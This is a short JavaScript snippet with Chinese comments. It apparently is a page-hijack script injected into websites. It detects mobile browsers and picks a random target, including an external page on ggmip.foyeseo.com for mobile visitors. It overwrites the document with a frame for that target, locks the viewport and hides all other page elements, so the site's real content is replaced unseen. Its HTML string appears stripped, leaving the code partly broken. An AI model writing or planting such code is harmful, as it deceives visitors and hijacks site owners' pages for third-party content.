var pcItems = ['/pc.html', '/fn404.html' ]; var mobileItems = [ 'https://ggmip.foyeseo.com/miao/mob.html', '/m/index.html' ]; // 判断是否为移动设备 function isMobileDevice() { return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); } // 根据设备类型选择URL数组 var items = isMobileDevice() ? mobileItems : pcItems; var item = items[Math.floor(Math.random()*items.length)]; setFrame(item); function setFrame(olink){ // 修改容器样式增加!important和定位属性 var ss = '
' + ''; // 使用更安全的文档写入方式 document.open(); document.write(ss); document.close(); // 添加视口设置 var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,' + 'maximum-scale=1,user-scalable=no'; document.head.appendChild(oMeta); // 增强样式覆盖逻辑 setTimeout(function() { // 强制覆盖body和html样式 document.documentElement.style.cssText += 'height:100% !important;padding:0 !important;'; document.body.style.cssText += 'height:100% !important;padding:0 !important;'; // 遍历隐藏其他元素(保留原始逻辑) Array.from(document.body.children).forEach(element => { const tag = element.tagName.toLowerCase(); const id = element.id; if(id !== "iconDiv1" && id !== "showcloneshengxiaon" && tag !== "title") { element.style.display = "none"; } }); }, 100); }